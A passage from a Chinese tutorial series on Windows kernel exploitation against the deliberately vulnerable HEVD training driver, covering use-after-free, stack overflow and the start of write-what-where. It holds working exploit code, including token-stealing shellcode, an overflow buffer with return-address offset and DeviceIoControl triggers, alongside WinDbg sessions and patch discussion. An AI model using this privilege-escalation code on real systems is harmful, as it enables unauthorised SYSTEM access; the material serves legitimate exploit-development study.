class="code"><pre><span class="line"><span class="comment">// 调用 UseUaFObject() 函数</span></span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x222013</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;recvBuf, <span class="literal">NULL</span>);</span><br><span class="line"><span class="comment">// 调用 FreeUaFObject() 函数</span></span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22201B</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;recvBuf, <span class="literal">NULL</span>);</span><br></pre></td></tr></table></figure><p>最后我们需要一个函数来调用 cmd 窗口检验我们是否提权成功</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> VOID <span class="title">CreateCmd</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">STARTUPINFO si = &#123; <span class="keyword">sizeof</span>(si) &#125;;</span><br><span class="line">PROCESS_INFORMATION pi = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">si.dwFlags = STARTF_USESHOWWINDOW;</span><br><span class="line">si.wShowWindow = SW_SHOW;</span><br><span class="line">WCHAR wzFilePath[MAX_PATH] = &#123; <span class="string">L"cmd.exe"</span> &#125;;</span><br><span class="line">BOOL bReturn = CreateProcessW(<span class="literal">NULL</span>, wzFilePath, <span class="literal">NULL</span>, <span class="literal">NULL</span>, FALSE, CREATE_NEW_CONSOLE, <span class="literal">NULL</span>, <span class="literal">NULL</span>, (LPSTARTUPINFOW)&amp;si, &amp;pi);</span><br><span class="line"><span class="keyword">if</span> (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面是主要的代码，详细的代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/UAF/UAF/test1.c" target="_blank" rel="noopener">这里</a>，最后提权成功</p><p><img src="/2019/06/28/Windows-Kernel-Exploit/8.gif" alt></p><h2 id="0x03：补丁思考"><a href="#0x03：补丁思考" class="headerlink" title="0x03：补丁思考"></a>0x03：补丁思考</h2><p>对于 UseAfterFree 漏洞的修复，如果你看过我写的一篇<a href="https://thunderjie.github.io/2019/03/04/Use-After-Free/">pwn-UAF入门</a>的话，补丁的修复就很明显了，我们漏洞利用是在 free 掉了对象之后再次对它的引用，如果我们增加一个条件，判断对象是否为空，如果为空则不调用，那么就可以避免 UseAfterFree  的发生，而在<code>FreeUaFObject()</code>函数中指明了安全的措施，我们只需要把<code>g_UseAfterFreeObject</code>置为NULL</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">            <span class="comment">// Secure Note: This is secure because the developer is setting</span></span><br><span class="line">            <span class="comment">// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed</span></span><br><span class="line">            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);</span><br><span class="line"></span><br><span class="line">            g_UseAfterFreeObject = <span class="literal">NULL</span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">            <span class="comment">// Vulnerability Note: This is a vanilla Use After Free vulnerability</span></span><br><span class="line">            <span class="comment">// because the developer is not setting 'g_UseAfterFreeObject' to NULL.</span></span><br><span class="line">            <span class="comment">// Hence, g_UseAfterFreeObject still holds the reference to stale pointer</span></span><br><span class="line">            <span class="comment">// (dangling pointer)</span></span><br><span class="line">            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);</span><br></pre></td></tr></table></figure><p>下面是在<code>UseUaFObject()</code>函数中的修复方案：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(g_UseAfterFreeObject != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (g_UseAfterFreeObject-&gt;Callback) &#123;</span><br><span class="line">g_UseAfterFreeObject-&gt;Callback();</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x04：Stack-Overflow"><a href="#0x04：Stack-Overflow" class="headerlink" title="0x04：Stack-Overflow"></a>0x04：Stack-Overflow</h1><p>这是 Windows kernel exploit 系列的第二部分，前一篇我们讲了UAF的利用，这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理-1"><a href="#0x01：漏洞原理-1" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="栈溢出原理"><a href="#栈溢出原理" class="headerlink" title="栈溢出原理"></a>栈溢出原理</h3><p>栈溢出是系列漏洞中最为基础的漏洞，如果你是一个 pwn 选手，第一个学的就是简单的栈溢出，栈溢出的原理比较简单，我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控，导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置，比如 ebp，返回地址等，如果我们精心构造好返回地址的话，程序就会按照我们指定的流程继续运行下去，原理很简单，但是实际用起来并不是那么容易的，在Windows的不断更新过程中，也增加了许多对于栈溢出的安全保护机制。</p><h3 id="漏洞点分析"><a href="#漏洞点分析" class="headerlink" title="漏洞点分析"></a>漏洞点分析</h3><p>我们在IDA中打开源码文件<code>StackOverflow.c</code>源码文件<a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver" target="_blank" rel="noopener">这里下载</a>查看一下主函数<code>TriggerStackOverflow</code>，这里直接将 Size 传入<code>memcpy</code>函数中，未对它进行限制，就可能出现栈溢出的情况，另外，我们可以发现 KernelBuffer 的 Size 是 0x800</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">TriggerStackOverflow</span><span class="params">(<span class="keyword">void</span> *UserBuffer, <span class="keyword">unsigned</span> <span class="keyword">int</span> Size)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> KernelBuffer[<span class="number">512</span>]; <span class="comment">// [esp+10h] [ebp-81Ch]</span></span><br><span class="line">  CPPEH_RECORD ms_exc; <span class="comment">// [esp+814h] [ebp-18h]</span></span><br><span class="line"></span><br><span class="line">  KernelBuffer[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">memset</span>(&amp;KernelBuffer[<span class="number">1</span>], <span class="number">0</span>, <span class="number">0x7FC</span>u);</span><br><span class="line">  ms_exc.registration.TryLevel = <span class="number">0</span>;</span><br><span class="line">  ProbeForRead(UserBuffer, <span class="number">0x800</span>u, <span class="number">4u</span>);</span><br><span class="line">  DbgPrint(<span class="string">"[+] UserBuffer: 0x%p\n"</span>, UserBuffer);</span><br><span class="line">  DbgPrint(<span class="string">"[+] UserBuffer Size: 0x%X\n"</span>, Size);</span><br><span class="line">  DbgPrint(<span class="string">"[+] KernelBuffer: 0x%p\n"</span>, KernelBuffer);</span><br><span class="line">  DbgPrint(<span class="string">"[+] KernelBuffer Size: 0x%X\n"</span>, <span class="number">0x800</span>);</span><br><span class="line">  DbgPrint(<span class="string">"[+] Triggering Stack Overflow\n"</span>);</span><br><span class="line">  <span class="built_in">memcpy</span>(KernelBuffer, UserBuffer, Size);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们现在差的就是偏移了，偏移的计算是在windbg中调试得到的，我们需要下两处断点来找偏移，第一处是在<code>TriggerStackOverflow</code>函数开始的地方，第二处是在函数中的<code>memcpy</code>函数处下断点</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; bl  //查看所有断点</span><br><span class="line">     0 e Disable Clear  8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f</span><br><span class="line">     1 e Disable Clear  8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow</span><br><span class="line">kd&gt; g  //运行</span><br><span class="line">Breakpoint 1 hit  //断在了第一处</span><br><span class="line">HEVD!TriggerStackOverflow:</span><br><span class="line">8c6d162a 680c080000      push    80Ch</span><br><span class="line">kd&gt; r  //查看寄存器</span><br><span class="line">eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948</span><br><span class="line">eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0         nv up ei pl nz na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206</span><br><span class="line">HEVD!TriggerStackOverflow:</span><br><span class="line">8c6d162a 680c080000      push    80Ch</span><br><span class="line">kd&gt; dd esp  //查看堆栈情况</span><br><span class="line">91a03ad4  8c6d1718 0032f018 00000907 91a03afc</span><br><span class="line">91a03ae4  8c6d2185 886ad948 886ad9b8 86736268</span><br><span class="line">91a03af4  88815378 00000000 91a03b14 83e84593</span><br><span class="line">91a03b04  88815378 886ad948 886ad948 88815378</span><br><span class="line">91a03b14  91a03b34 8407899f 86736268 886ad948</span><br><span class="line">91a03b24  886ad9b8 00000094 04a03bac 91a03b44</span><br><span class="line">91a03b34  91a03bd0 8407bb71 88815378 86736268</span><br><span class="line">91a03b44  00000000 91a03b01 44c7b400 00000002</span><br></pre></td></tr></table></figure><p>上面的第一处断点可以看到返回地址是0x91a03ad4</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; g</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">HEVD!TriggerStackOverflow+0x8f:</span><br><span class="line">8c6d16b9 e81ccbffff      call    HEVD!memcpy (8c6ce1da)</span><br><span class="line">kd&gt; dd esp</span><br><span class="line">91a03274  91a032b4 0032f018 00000907 8c6d25be</span><br><span class="line">91a03284  8c6d231a 00000800 8c6d2338 91a032b4</span><br><span class="line">91a03294  8c6d23a2 00000907 8c6d23be 0032f018</span><br><span class="line">91a032a4  1dcd205c 886ad948 886ad9b8 8c6d2da2</span><br><span class="line">91a032b4  00000000 00000000 00000000 00000000</span><br><span class="line">91a032c4  00000000 00000000 00000000 00000000</span><br><span class="line">91a032d4  00000000 00000000 00000000 00000000</span><br><span class="line">91a032e4  00000000 00000000 00000000 00000000</span><br><span class="line">kd&gt; r</span><br><span class="line">eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000</span><br><span class="line">eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0         nv up ei pl zr na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246</span><br><span class="line">HEVD!TriggerStackOverflow+0x8f:</span><br><span class="line">8c6d16b9 e81ccbffff      call    HEVD!memcpy (8c6ce1da)</span><br></pre></td></tr></table></figure><p>上面的第二处断点可以看到0x91a032b4是我们<code>memcpy</code>的第一个参数，也就是<code>KernelBuffer</code>，我们需要覆盖到返回地址也就是偏移为 0x820</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex(<span class="number">0x91a03ad4</span><span class="number">-0x91a032b4</span>)</span><br><span class="line"><span class="string">'0x820'</span></span><br></pre></td></tr></table></figure><h2 id="0x02：漏洞利用-1"><a href="#0x02：漏洞利用-1" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="利用思路-1"><a href="#利用思路-1" class="headerlink" title="利用思路"></a>利用思路</h3><p>知道了偏移，我们只需要将返回地址覆盖为我们的shellcode的位置即可提权，提权的原理我在第一篇就有讲过，需要的可以参考我的第一篇，只是这里提权的代码需要考虑到栈的平衡问题，在<code>TriggerStackOverflow</code>函数开始的地方，我们下断点观察发现，ebp的值位置在91a3bae0，也就是值为<code>91a3bafc</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; g</span><br><span class="line">Breakpoint 1 hit</span><br><span class="line">HEVD!TriggerStackOverflow:</span><br><span class="line">0008:8c6d162a 680c080000      push    80Ch</span><br><span class="line">kd&gt; r</span><br><span class="line">eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8</span><br><span class="line">eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0         nv up ei pl nz na pe nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000206</span><br><span class="line">HEVD!TriggerStackOverflow:</span><br><span class="line">0008:8c6d162a 680c080000      push    80Ch</span><br><span class="line">kd&gt; dd esp</span><br><span class="line">91a3bad4  8c6d1718 001ef230 00000824 (91a3bafc) =&gt; ebp</span><br><span class="line">91a3bae4  8c6d2185 885c54b8 885c5528 88573cc0</span><br><span class="line">91a3baf4  88815378 00000000 91a3bb14 83e84593</span><br><span class="line">91a3bb04  88815378 885c54b8 885c54b8 88815378</span><br><span class="line">91a3bb14  91a3bb34 8407899f 88573cc0 885c54b8</span><br><span class="line">91a3bb24  885c5528 00000094 04a3bbac 91a3bb44</span><br><span class="line">91a3bb34  91a3bbd0 8407bb71 88815378 88573cc0</span><br><span class="line">91a3bb44  00000000 83ede201 00023300 00000002</span><br></pre></td></tr></table></figure><p>当我们进入shellcode的时候，我们的ebp被覆盖为了0x41414141，为了使堆栈平衡，我们需要将ebp重新赋值为<code>97a8fafc</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">kd&gt; </span><br><span class="line">Break instruction exception - code 80000003 (first chance)</span><br><span class="line">StackOverflow!ShellCode+0x3:</span><br><span class="line">0008:012c1003 cc              int     3</span><br><span class="line">kd&gt; r</span><br><span class="line">eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0</span><br><span class="line">eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0         nv up ei ng nz na po nc</span><br><span class="line">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000282</span><br><span class="line">StackOverflow!ShellCode+0x3:</span><br><span class="line">0008:012c1003 cc              int     3</span><br><span class="line">kd&gt; dd esp</span><br><span class="line">97a8fad4  885b52f0 885b5360 8c6d2da2 97a8fafc</span><br><span class="line">97a8fae4  8c6d2185 885b52f0 885b5360 88573cc0</span><br><span class="line">97a8faf4  88815378 00000000 97a8fb14 83e84593</span><br><span class="line">97a8fb04  88815378 885b52f0 885b52f0 88815378</span><br><span class="line">97a8fb14  97a8fb34 8407899f 88573cc0 885b52f0</span><br><span class="line">97a8fb24  885b5360 00000094 04a8fbac 97a8fb44</span><br><span class="line">97a8fb34  97a8fbd0 8407bb71 88815378 88573cc0</span><br><span class="line">97a8fb44  00000000 83ede201 00023300 00000002</span><br></pre></td></tr></table></figure><h3 id="利用代码-1"><a href="#利用代码-1" class="headerlink" title="利用代码"></a>利用代码</h3><p>利用思路中，我们介绍了为什么要堆栈平衡，下面是具体的shellcode部分</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">ShellCode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">//__debugbreak(); // 运行到这里程序会自动断下来等待windbg的调试</span></span><br><span class="line">__asm</span><br><span class="line">&#123;</span><br><span class="line">pop    edi</span><br><span class="line">pop    esi</span><br><span class="line">pop    ebx</span><br><span class="line">pushad</span><br><span class="line">mov eax, fs:[<span class="number">124</span>h]</span><br><span class="line">mov eax, [eax + <span class="number">050</span>h]</span><br><span class="line">mov ecx, eax</span><br><span class="line">mov edx, <span class="number">4</span></span><br><span class="line"></span><br><span class="line">find_sys_pid :</span><br><span class="line"> mov eax, [eax + <span class="number">0b</span>8h]</span><br><span class="line"> sub eax, <span class="number">0b</span>8h</span><br><span class="line"> cmp[eax + <span class="number">0b</span>4h], edx</span><br><span class="line"> jnz find_sys_pid</span><br><span class="line"></span><br><span class="line"> mov edx, [eax + <span class="number">0f</span>8h]</span><br><span class="line"> mov[ecx + <span class="number">0f</span>8h], edx</span><br><span class="line"> popad</span><br><span class="line"> pop ebp</span><br><span class="line"> ret <span class="number">8</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>构造并调用shellcode部分</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> buf[<span class="number">0x824</span>];</span><br><span class="line"><span class="built_in">memset</span>(buf, <span class="string">'A'</span>, <span class="number">0x824</span>);</span><br><span class="line">*(PDWORD)(buf + <span class="number">0x820</span>) = (DWORD)&amp;ShellCode;</span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x222003</span>, buf, <span class="number">0x824</span>,<span class="literal">NULL</span>,<span class="number">0</span>,&amp;bReturn,<span class="literal">NULL</span>);</span><br></pre></td></tr></table></figure><p>具体的代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/StackOverflow/StackOverflow/test.c" target="_blank" rel="noopener">这里</a>，最后提权成功</p><p><img src="/2019/06/28/Windows-Kernel-Exploit/9.gif" alt></p><h2 id="0x03：补丁思考-1"><a href="#0x03：补丁思考-1" class="headerlink" title="0x03：补丁思考"></a>0x03：补丁思考</h2><p>我们先查看源文件 <code>StackOverflow.c</code> 中补丁的措施，区别很明显，不安全版本的<code>RtlCopyMemory</code>函数中的第三个参数没有进行控制，直接将用户提供的 Size 传到了函数中，安全的补丁就是对<code>RtlCopyMemory</code>的参数进行严格的设置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">        <span class="comment">// Secure Note: This is secure because the developer is passing a size</span></span><br><span class="line">        <span class="comment">// equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,</span></span><br><span class="line">        <span class="comment">// there will be no overflow</span></span><br><span class="line">        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, <span class="keyword">sizeof</span>(KernelBuffer));</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">        DbgPrint(<span class="string">"[+] Triggering Stack Overflow\n"</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability</span></span><br><span class="line">        <span class="comment">// because the developer is passing the user supplied size directly to</span></span><br><span class="line">        <span class="comment">// RtlCopyMemory()/memcpy() without validating if the size is greater or</span></span><br><span class="line">        <span class="comment">// equal to the size of KernelBuffer</span></span><br><span class="line">        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);</span><br></pre></td></tr></table></figure><h1 id="0x05：Write-What-Where"><a href="#0x05：Write-What-Where" class="headerlink" title="0x05：Write-What-Where"></a>0x05：Write-What-Where</h1><p>这是 Windows kernel exploit 系列的第三部分，前一篇我们讲了内核栈溢出的利用，这一篇我们介绍任意内存覆盖漏洞，也就是 Write-What-Where 漏洞，和前面一样，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理-2"><a href="#0x01：漏洞原理-2" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="任意内存覆盖漏洞"><a href="#任意内存覆盖漏洞" class="headerlink" title="任意内存覆盖漏洞"></a>任意内存覆盖漏洞</h3><p>从 IDA 中我们直接分析<code>HEVD.sys</code>中的<code>TriggerArbitraryOverwrite</code>函数，乍一看没啥毛病，仔细分析发现v1，v2这俩指针都没有验证地址是否有效就直接拿来用了，这是内核态，给点面子好吧，胡乱引用可以要蓝屏的(严肃</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">TriggerArbitraryOverwrite</span><span class="params">(_WRITE_WHAT_WHERE *UserWriteWhatWhere)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> *v1; <span class="comment">// edi</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> *v2; <span class="comment">// ebx</span></span><br><span class="line"></span><br><span class="line">  ProbeForRead(UserWriteWhatWhere, <span class="number">8u</span>, <span class="number">4u</span>);</span><br><span class="line">  v1 = UserWriteWhatWhere-&gt;What;</span><br><span class="line">  v2 = UserWriteWhatWhere-&gt;Where;</span><br><span class="line">  DbgPrint(<span class="string">"[+] UserWriteWhatWhere: 0x%p\n"</span>, UserWriteWhatWhere);</span><br><span class="line">  DbgPrint(<span class="string">"[+] WRITE_WHAT_WHERE Size: 0x%X\n"</span>, <span class="number">8</span>);</span><br><span class="line">  DbgPrint(<span class="string">"[+] UserWriteWhatWhere-&gt;What: 0x%p\n"</span>, v1);</span><br><span class="line">  DbgPrint(<span class="string">"[+] UserWriteWhatWhere-&gt;Where: 0x%p\n"</span>, v2);</span><br><span class="line">  DbgPrint(<span class="string">"[+] Triggering Arbitrary Overwrite\n"</span>);</span><br><span class="line">  *v2 = *v1;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们从<code>ArbitraryOverwrite.c</code>源码文件入手，直接定位关键点</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">        <span class="comment">// Secure Note: This is secure because the developer is properly validating if address</span></span><br><span class="line">        <span class="comment">// pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()</span></span><br><span class="line">        <span class="comment">// routine before performing the write operation</span></span><br><span class="line">        ProbeForRead((PVOID)Where, <span class="keyword">sizeof</span>(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));</span><br><span class="line">        ProbeForRead((PVOID)What, <span class="keyword">sizeof</span>(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));</span><br><span class="line"></span><br><span class="line">        *(Where) = *(What);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">        DbgPrint(<span class="string">"[+] Triggering Arbitrary Overwrite\n"</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability</span></span><br><span class="line">        <span class="comment">// because the developer is writing the value pointed by 'What' to memory location</span></span><br><span class="line">        <span class="comment">// pointed by 'Where' without properly validating if the values pointed by 'Where'</span></span><br><span class="line">        <span class="comment">// and 'What' resides in User mode</span></span><br><span class="line">        *(Where) = *(What);</span><br></pre></td></tr></table></figure><p>如果你不清楚<code>ProbeForRead</code>函数的话，<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-probeforread" target="_blank" rel="noopener">这里</a>可以得到很官方的解释(永远记住官方文档是最好的)，就是检查用户模式缓冲区是否实际驻留在地址空间的用户部分中，并且正确对齐，相当于检查一块内存是否正确。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ProbeForRead</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">  <span class="keyword">const</span> <span class="keyword">volatile</span> VOID *Address,</span></span></span><br><span class="line"><span class="function"><span class="params">  SIZE_T              Length,</span></span></span><br><span class="line"><span class="function"><span class="params">  ULONG               Alignment</span></span></span><br><span class="line"><span class="function"><span class="params">)</span></span>;</span><br></pre></td></tr></table></figure><p>和我们设想的一样，从刚才上面的对比处可以很清楚的看出，在安全的条件下，我们在使用两个指针的时候对指针所指向的地址进行了验证，如果不对地址进行验证，在内核空间中访问到了不该访问的内存那很可能就会蓝屏，通过这一点我们就可以利用，既然是访问内存，那我们让其访问我们shellcode的位置即可达到提权的效果，那么怎么才能访问到我们的shellcode呢？</p><h2 id="0x02：漏洞利用-2"><a href="#0x02：漏洞利用-2" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="利用原理"><a href="#利用原理" class="headerlink" title="利用原理"></a>利用原理</h3><p><strong>控制码</strong></p><p>知道了漏洞的原理之后我们开始构造exploit，前面我们通过分析<code>IrpDeviceIoCtlHandler</code>函数可以逆向出每个函数对应的控制码，然而这个过程我们可以通过分析<code>HackSysExtremeVulnerableDriver.h</code>自己计算出控制码，源码中的定义如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> 